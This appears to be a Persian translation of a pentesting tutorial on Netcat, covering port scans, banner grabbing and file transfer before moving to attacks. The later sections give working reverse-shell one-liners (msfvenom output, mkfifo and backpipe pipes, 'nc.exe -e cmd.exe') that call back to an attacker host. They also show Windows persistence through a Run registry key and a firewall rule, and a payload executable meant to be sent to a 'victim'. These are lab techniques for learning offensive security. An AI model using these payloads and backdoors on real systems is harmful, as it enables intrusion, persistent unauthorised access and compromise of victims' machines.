



NETCAT BASIC GUIDE

For pentesters (Persian translation)

ABSTRACT

“Whether it is port scanning or to get a reverse shell, everything is possible with Netcat” .

Chaos

t.me/Chaos_nexus_tech

This Document is a
translation of the source
below

all credits of content is for
the original writer

[https://www.hackingarticles.
in/netcat-for-pentester/](https://www.hackingarticles.in/netcat-for-pentester/)



Introduction to Netcat

Netcat که از نظر فنی به عنوان "nc" استفاده می‌شود، یک ابزار شبکه است که از اتصالات TCP و UDP برای خواندن و نوشتن در یک شبکه استفاده می‌کند. این ابزار می‌تواند توسط مهاجمان و بازرسان امنیتی مورد استفاده قرار گیرد.

در سناریوی حمله، این ابزار چندمنظوره می‌تواند توسط اسکریپت‌ها هدایت شود که آن را کاملاً قابل اعتماد می‌کند و اگر در مورد بخش امنیتی بحث کنیم، به ما در اشکال‌زدایی و بررسی شبکه کمک می‌کند.

چرا netcat تا این حد قابل اعتماد است که می‌تواند هر کاری انجام دهد، چه اسکن پورت، گرفتن بفر، انتقال فایل یا حتی ایجاد یک اتصال معکوس؟

بیایید ویژگی‌های اصلی netcat را بررسی کنیم و این سوال را حل کنیم.

۱. به عنوان یک کلاینت ساده TCP/UDP/SCTP/SSL برای تعامل با سرورهای وب، سرورهای تلنت، سرورهای ایمیل و سایر سرویس‌های شبکه TCP/IP عمل می‌کند.

۲. با عمل به عنوان یک پروکسی SOCKS یا HTTP، ترافیک TCP/UDP/SCTP را به پورت‌ها یا میزبان‌های دیگر هدایت می‌کند، به طوری که کلاینت‌ها مقصد خود را مشخص می‌کنند.

۳. نت‌کت حتی می‌تواند از طریق زنجیره‌ای از پروکسی‌های ناشناس یا احراز هویت‌شده به مقصدها متصل شود.

۴. ارتباط را با SSL رمزگذاری می‌کند و آن را از طریق IPv۴ یا IPv۶ منتقل می‌کند.

۵. به عنوان یک واسطه اتصال عمل می‌کند و به دو (یا تعداد بسیار بیشتری) کلاینت اجازه می‌دهد تا از طریق یک سرور سوم (واسطه) به هم متصل شوند.

بنابراین تا اینجا، ممکن است از تمام ویژگی‌های نت‌کت که آن را منحصر به فرد و ساده می‌کند، آگاه باشید.

بیایید عمیق‌تر بررسی کنیم و بررسی کنیم که با این ابزار عالی چه کارهای بیشتری می‌توانیم انجام دهیم.



Help Command

«Help» یا گاهی اوقات «h» آن، این پرچم تمام گزینه‌های ممکن را که یک ابزار می‌تواند برای ما انجام دهد، نمایش می‌دهد. برای شروع با netcat، از ابتدایی‌ترین دستور help استفاده خواهیم کرد، یعنی:

```
nc -h
```

```
root@kali:~# nc -h
[v1.10-41.1+b1]
connect to somewhere:  nc [-options] hostname port[s] [ports] ...
listen for inbound:    nc -l -p port [-options] [hostname] [port]
options:
  -c shell commands      as '-e'; use /bin/sh to exec [dangerous!!]
  -e filename            program to exec after connect [dangerous!!]
  -b                    allow broadcasts
  -g gateway             source-routing hop point[s], up to 8
  -G num                source-routing pointer: 4, 8, 12, ...
  -h                    this cruft
  -i secs               delay interval for lines sent, ports scanned
  -k                    set keepalive option on socket
  -l                    listen mode, for inbound connects
  -n                    numeric-only IP addresses, no DNS
  -o file               hex dump of traffic
  -p port               local port number
  -r                    randomize local and remote ports
  -q secs               quit after EOF on stdin and delay of secs
  -s addr               local source address
  -T tos                set Type Of Service
  -t                    answer TELNET negotiation
  -u                    UDP mode
  -v                    verbose [use twice to be more verbose]
  -w secs               timeout for connects and final net reads
  -C                    Send CRLF as line-ending
  -z                    zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. 'ftp\-data').
```



Port Scanning

Netcat می‌تواند به عنوان یک اسکنر پورت مورد استفاده قرار گیرد، اگرچه برای این کار طراحی نشده است. برای اینکه به عنوان یک اسکنر ارزش داشته باشد، باید پرچم "-z" را تنظیم کنیم که به netcat می‌گوید، بدون ارسال هیچ داده‌ای، daemon لیست را اسکن کند. این امر امکان درک نوع سرویسی را که روی آن پورت خاص اجرا می‌شود، فراهم می‌کند. بنابراین netcat می‌تواند هم اسکن TCP و هم اسکن UDP را انجام دهد، بیایید بررسی کنیم که چگونه:

TCP Scan

[-v]: حالت Verbose را نشان می‌دهد.

[-n]: آدرس‌های IP فقط عددی را نشان می‌دهد.

[-z]: حالت ورودی/خروجی صفر را نشان می‌دهد. [برای اسکن استفاده می‌شود]

برای تکمیل این اسکن، باید طیف وسیعی از پورت‌ها را مشخص کنیم. از تصویر زیر می‌توانید ببینید که من به طیف پورت ۲۱-۱۰۰ اشاره کرده‌ام که سرویس‌های در حال اجرا را روی دستگاه هدف اجرا می‌کند.

```
nc -v -n -z 192.168.1.105 21-100
```

```
root@kali:~# nc -v -n -z 192.168.1.105 21-100
(UNKNOWN) [192.168.1.105] 80 (http) open
(UNKNOWN) [192.168.1.105] 22 (ssh) open
(UNKNOWN) [192.168.1.105] 21 (ftp) open
root@kali:~#
```



UDP Scan

ما حتی می‌توانیم پورت‌های UDP را به همان روشی که پورت‌های TCP را اسکن کردیم، اسکن کنیم. در اینجا از پرچم "u" استفاده خواهیم کرد که حالت UDP را فراخوانی می‌کند.

در این سناریو، ما به جای محدوده، شماره پورت را ذکر کرده‌ایم. از تصویر زیر می‌توانید ببینید که ما سرویس "SNMP" در حال اجرا را ضبط کرده‌ایم.

```
nc -vzu 192.168.1.105 161
```

```
root@kali:~# nc -vzu 192.168.1.105 161
192.168.1.105: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.1.105] 161 (snmp) open
root@kali:~#
```

Chatting

همچنین می‌توان از Netcat برای چت بین دو کاربر استفاده کرد. اما قبل از آن، باید یک اتصال برقرار کنیم.

برای راه‌اندازی همه این‌ها، از دو دستگاه استفاده خواهیم کرد - یکی نقش آغازگر و دیگری نقش شنونده را ایفا می‌کند. به محض برقراری این اتصال، ارتباط می‌تواند از هر دو طرف انجام شود.

بیایید این سناریو را بررسی کنیم، که در آن دو کاربر با سیستم‌عامل‌های مختلف از طریق یک اتصال برقرار شده توسط Netcat با یکدیگر ارتباط برقرار می‌کنند.

در ابتدا، کاربر ریشه kali باید "شنونده" netcat خود را روی یک پورت خاص تنظیم کند تا یک اتصال شبکه ایجاد کند. برای انجام این کار، دستور زیر را اجرا کنید:

در اینجا،

[l]: حالت گوش دادن

[v]: حالت گفتاری

[p]: پورت محلی



اکنون زمان راهاندازی یک آغازگر فرا رسیده است، ما این کار را از طریق کاربر ریشه اوبونتو انجام خواهیم داد، با ارائه آدرس IP سیستمی که شنونده را در آن شروع کرده‌ایم و به دنبال آن شماره پورت.

```
nc -lvp 1234
```

```
nc 192.168.1.109 1234
```

```
root@ubuntu:~# nc 192.168.1.109 1234  
hi  
hello
```

همانطور که در تصویر زیر مشاهده می‌کنید، اتصال برقرار شده و هر دو دستگاه اکنون می‌توانند با یکدیگر ارتباط برقرار کنند.

```
root@kali:~# nc -lvp 1234  
listening on [any] 1234 ...  
192.168.1.105: inverse host lookup failed: Unknown host  
connect to [192.168.1.109] from (UNKNOWN) [192.168.1.105] 52184  
hi  
hello
```



Banner Grabbing

بدر به یک پیام متنی دریافت شده از میزبان با اطلاعاتی در مورد پورت‌ها و سرویس‌های باز به همراه شماره نسخه آنها اشاره دارد. دستور زیر را برای دریافت بفرهای ftp و ssh هدف اجرا کنید:

```
nc 192.168.1.105 21
nc 192.168.1.105 22
```

```
root@kali:~# nc 192.168.1.105 21
220 (vsFTPD 3.0.3)
^C
root@kali:~# nc 192.168.1.105 22
SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.1
^C
```

File Transfer

Netcat به ما این امکان را می‌دهد که فایل‌ها را از یک دستگاه به دستگاه دیگر از طریق شبکه منتقل کنیم.

بیایید با یک سناریو ادامه دهیم، که در آن یک کاربر kali از انتقال فایل‌های خود به یک کاربر در یک دستگاه اوبونتو معاف می‌شود.

از تصویر زیر، کاربر روی دستگاه kali یک شنونده در پورت شماره ۵۵۵۵ تنظیم می‌کند و

file.txt را با استفاده از پارامتر "<" به اشتراک می‌گذارد.

```
nc -lvp 5555 < file.txt
```

```
root@kali:~# cat file.txt
Welcome to Hacking Articles
root@kali:~# nc -lvp 5555 < file.txt
listening on [any] 5555 ...
```



حالا کاربری که پشت سرور اوبونتو نشسته است، با اجرای دستور زیر این فایل را دانلود خواهد کرد.

```
nc 192.168.1.109 5555 > file.txt
```

از تصویر زیر می‌توانید ببینید که کاربر اوبونتو با موفقیت فایل file.txt را از ۱۹۲.۱۶۸.۱.۱۰۹ دریافت کرده است که چیزی جز IP کاربر کالی نیست.

```
root@ubuntu:~# nc 192.168.1.109 5555 > file.txt
^C
root@ubuntu:~# cat file.txt
Welcome to Hacking Articles
```

Linux Reverse Shell

همانطور که قبلاً بحث شد، netcat می‌تواند هر کاری انجام دهد، بنابراین اکنون سعی خواهیم کرد با کمک "msfvenom" از دستگاه هدف سوءاستفاده کنیم تا یک payload ایجاد کنیم و یک شنونده netcat برای گرفتن یک session راه‌اندازی خواهیم کرد.

بیایید با استفاده از دستور زیر یک payload ایجاد کنیم:

```
msfvenom -p cmd/unix/reverse_netcat
lhost=192.168.1.109 lport=6666 R
```

از پرچم «R» برای تولید یک payload خام که روی صفحه نمایش ما نمایش داده خواهد شد، استفاده می‌شود.

```
root@kali:~# msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.109 lport=6666 R
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 103 bytes
mkfifo /tmp/jahrzdd; nc 192.168.1.109 6666 0</tmp/jahrzdd | /bin/sh >/tmp/jahrzdd 2>&1; rm /tmp/jahrzdd
```



از تصویر بالا، می‌توانید ببینید که payload ما آماده است، اکنون زمان آن رسیده است که آن را روی سرور قربانی خود فعال کنیم. دستگاه اوبونتو را باز کنید و این payload را در ترمینال تایپ کنید. قبل از اجرای آن، به دستگاه مهاجم (کالی لینوکس) برگردید و شنونده netcat را با استفاده از همان شماره پورتی که هنگام تولید payload استفاده کردید، در آنجا تنظیم کنید.

```
root@ubuntu:~# mkfifo /tmp/jahrzdz; nc 192.168.1.109 6666 0</tmp/jahrzdz | /bin/sh >/tmp/jahrzdz 2>&1; rm /tmp/jahrzdz
```

از تصویر زیر می‌توانید ببینید که به محض اینکه قربانی بار داده را اجرا کند، جلسه را دریافت خواهیم کرد.

```
root@kali:~# nc -lvp 6666
listening on [any] 6666 ...
192.168.1.105: inverse host lookup failed: Unknown host
connect to [192.168.1.109] from (UNKNOWN) [192.168.1.105] 58516
ifconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.1.105 netmask 255.255.255.0 broadcast 192.168.1.255
    inet6 fe80::6c54:9cdb:ada0:b197 prefixlen 64 scopeid 0x20<link>
    ether 00:0c:29:8c:f6:d6 txqueuelen 1000 (Ethernet)
    RX packets 61824 bytes 84050340 (84.0 MB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 22512 bytes 1544032 (1.5 MB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

بارها پیش می‌آید که امنیت بالا می‌رود و ما نمی‌توانیم با استفاده از این روش، نشست را به دست آوریم، اما راه دیگری برای دریافت پوسته معکوس وجود دارد.

قبل از آن، یک شنونده netcat در پورت ۴۴۳ راه‌اندازی کنید:

```
mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc 192.168.1.109 443 1>/tmp/backpipe
```



هنگامی که شنونده بوت می‌شود، فقط دستورات زیر را در دستگاه هدف اجرا کنید:

این به شما کمک می‌کند تا امنیت را دور بزنید و یک نشست netcat به شما ارائه دهد.

```
root@ubuntu:~# mknod /tmp/backpipe p
root@ubuntu:~# /bin/sh 0</tmp/backpipe | nc 192.168.1.109 443 1>/tmp/backpipe
```

از تصویر زیر می‌توانید ببینید که ما با موفقیت پوسته قربانی را به دست آورده‌ایم.

```
root@kali:~# nc -lvp 443
listening on [any] 443 ...
192.168.1.105: inverse host lookup failed: Unknown host
connect to [192.168.1.109] from (UNKNOWN) [192.168.1.105] 33308
ifconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.1.105 netmask 255.255.255.0 broadcast 192.168.1.255
    inet6 fe80::6c54:9cdb:ada0:b197 prefixlen 64 scopeid 0<link>
    ether 00:0c:29:8c:f6:d6 txqueuelen 1000 (Ethernet)
    RX packets 61874 bytes 84055113 (84.0 MB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 22540 bytes 1547158 (1.5 MB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

Randomized Port

گاهی اوقات ما نمی‌توانیم پورت خودمان را برای راه‌اندازی یک شنونده یا ایجاد اتصال netcat انتخاب کنیم. خوب،

netcat یک پرچم ویژه "r" دارد که پورت محلی تصادفی را در اختیار ما قرار می‌دهد.

```
nc -lv -r
```

از تصویر زیر می‌توانید ببینید که شنونده ما با ۳۸۹۳۱ شروع شده است.

```
root@kali:~# nc -lv -r
listening on [any] 38931 ...
```



Grabbing the HTTP Banner

بنرهای HTTP اکنون به راحتی قابل دریافت نیستند، زیرا حاوی اطلاعات سرور هستند. اما می‌توانیم از netcat برای گرفتن اطلاعات مربوط به هر وب سروری استفاده کنیم.

به سادگی دستور زیر را اجرا کنید تا سرور هدف را دستکاری کرده و بررسی کنید چه چیزی را دریافت کرده‌ایم.

```
printf "GET / HTTP/1.0\r\n\r\n" | nc 192.168.1.105 80
```

عالی!! از تصویر زیر می‌توانید ببینید که من با موفقیت بنر HTTP را دریافت کرده‌ام و سرور آپاچی نمایش داده می‌شود.

```
root@kali:~# printf "GET / HTTP/1.0\r\n\r\n" | nc 192.168.1.105 80
HTTP/1.1 200 OK
Date: Fri, 26 Jun 2020 22:05:18 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Fri, 26 Jun 2020 21:15:54 GMT
ETag: "1c-5a90336e80366"
Accept-Ranges: bytes
Content-Length: 28
Connection: close
Content-Type: text/html

Welcome to Hacking Articles
```

Windows Reverse Connection

در پشتی یک سیستم، هر بار که ما به آن پشت می‌کنیم، با آغوش باز از ما استقبال می‌کند.

بنابراین، ما سعی خواهیم کرد چنین در پشتی مشابهی را روی دستگاه ویندوز هدف ایجاد کنیم که به ما اجازه دهد در هر زمانی که برگردیم، وارد آن شویم.

ابتدا یک شنونده روی دستگاه کالی خود تنظیم می‌کنیم:

```
nc -lvp 4444
```

حالا دستور زیر را روی خط فرمان ویندوز قربانی اجرا کنید تا یک در پشتی ایجاد شود.



```
nc.exe 192.168.1.109 4444
-e cmd.exe
```

```
C:\Users\raj\Downloads>nc.exe 192.168.1.109 4444 -e cmd.exe
```

وقت آن است که به دستگاه مهاجم خود برگردیم. از تصویر زیر می‌توانید ببینید که ما وارد پوسته فرمان قربانی شده‌ایم.

```
root@kali:~# nc -lvp 4444
listening on [any] 4444 ...
192.168.1.108: inverse host lookup failed: Unknown host
connect to [192.168.1.109] from (UNKNOWN) [192.168.1.108] 55324
Microsoft Windows [Version 10.0.18363.900]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Users\raj\Downloads>
```

Windows 10 Persistence

پایداری نقش مهمی در زندگی یک مهاجم ایفا می‌کند. بنابراین بیایید سعی کنیم با استفاده از چارچوب netcat و Metasploit یک backdoor پایدار روی دستگاه میزبانی که به آن نفوذ کرده‌ایم، ایجاد کنیم. از تصویر زیر می‌توانید ببینید که من یک session meterpreter از یک دستگاه ویندوز ۱۰ را گرفته‌ام. اکنون فایل nc.exe را با استفاده از دستور زیر در system۳۲ کامپیوتر قربانی آپلود کنید:

```
upload /usr/share/windows-binaries/nc.exe
C:\\windows\\system32
```

```
meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32
[*] uploading : /usr/share/windows-binaries/nc.exe → C:\\windows\\system32
[*] uploaded : /usr/share/windows-binaries/nc.exe → C:\\windows\\system32\\nc.exe
```

حالا netcat را روی یک شنونده در هر پورت تصادفی مثلاً ۴۴۴۵ تنظیم کنید، پورت را در هنگام راه‌اندازی باز کنید و



اتصال را برقرار کنید. از دستور زیر استفاده کنید:

```
reg setval -k
HKLM\software\microsoft\windows\currentversion\run -
v netcat -d 'C:\windows\system32\nc.exe -Ldp 4445 -e
```

```
meterpreter > reg setval -k HKLM\software\microsoft\windows\currentversion\run -v netcat -d 'C:\windows\system32\nc.exe -Ldp 4445 -e cmd.exe'
Successfully set netcat of REG_SZ.
```

در یک اتصال موفق netcat، ما reverse_shell کامپیوتر قربانی را دریافت خواهیم کرد.

حالا وقت آن است که یک قانون جدید به فایروال به نام «netcat» اضافه کنیم که در آن اتصال ورودی با استفاده از خط فرمان تعاملی cmd و اجرای دستوری به نام netsh، پورت ۴۴۴۵ را مجاز بداند.

دستور زیر را تایپ کنید:

```
netsh advfirewall firewall add rule name='netcat' dir=in
action=allow protocol=Tcp localport=4445
```

بباید با اجرای دستور زیر، حالت عملیاتی و وضعیت پورت را بررسی کنیم:

```
netsh firewall show portopening
```

```
meterpreter > shell
Process 7184 created.
Channel 2 created.
Microsoft Windows [Version 10.0.18362.900]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Windows\system32>netsh advfirewall firewall add rule name='netcat' dir=in action=allow protocol=Tcp localport=4445
netsh advfirewall firewall add rule name='netcat' dir=in action=allow protocol=Tcp localport=4445
Ok.

C:\Windows\system32>netsh firewall show portopening
netsh firewall show portopening

Port configuration for Domain profile:
Port Protocol Mode Traffic direction Name
-----
4445 TCP Enable Inbound 'netcat'

Port configuration for Standard profile:
Port Protocol Mode Traffic direction Name
-----
4445 TCP Enable Inbound 'netcat'

IMPORTANT: Command executed successfully.
However, "netsh firewall" is deprecated;
use "netsh advfirewall firewall" instead.
For more information on using "netsh advfirewall firewall" commands
instead of "netsh firewall", see KB article 947709
at https://go.microsoft.com/fwlink/?linkid=121488 .
```



خب، با این اوصاف، کار ما تمام شد. حالا وقتی قربانی سیستم را دوباره راه اندازی کند، netcat shell را دریافت خواهیم کرد. دستور زیر را اجرا کنید تا netcat backdoor ما از طریق پورت ۴۴۴۵ متصل شود.

```
nc -nv 192.168.1.105 4445
```

عالی!! ما با موفقیت درب پشتی دائمی را حفظ کردیم، حالا هر زمان که قربانی بوت شود، ما همیشه جلسه آن را خواهیم داشت. برای کسب اطلاعات بیشتر در مورد پایداری ویندوز اینجا را کلیک کنید.

```
root@kali:~# nc -nv 192.168.1.105 4445
(UNKNOWN) [192.168.1.105] 4445 (?) open
Microsoft Windows [Version 10.0.18362.900]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
```

Msfvenom Payload with Netcat

تا اینجا همه چیز را در مورد Netcat، از چیزهای ابتدایی گرفته تا موارد پیشرفته، یاد گرفته ایم. پس بیایید یاد بگیریم که چگونه می توانیم از طریق Netcat_shell با استفاده از یک payload msfvenom با قربانی ارتباط برقرار کنیم.

ترمینال را باز کنید و دستور زیر را برای تولید یک payload.exe اجرا کنید.

```
msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.104
lport=3333 -f exe > shell.exe
```

```
root@kali:~# msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.104 lport=3333 -f exe > shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
root@kali:~#
```

حالا Netcat listener را روی پورت ۳۳۳۳ فعال کنید.



این payload تولید شده را با قربانی به اشتراک بگذارید، به محض اینکه او آن را باز کند، اتصال معکوس برقرار خواهد شد.

```
root@kali:~# nc -lvp 3333
listening on [any] 3333 ...
192.168.1.109: inverse host lookup failed: Unknown host
connect to [192.168.1.104] from (UNKNOWN) [192.168.1.109] 61185
Microsoft Windows [Version 10.0.18363.900]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Users\raj\Desktop>
```

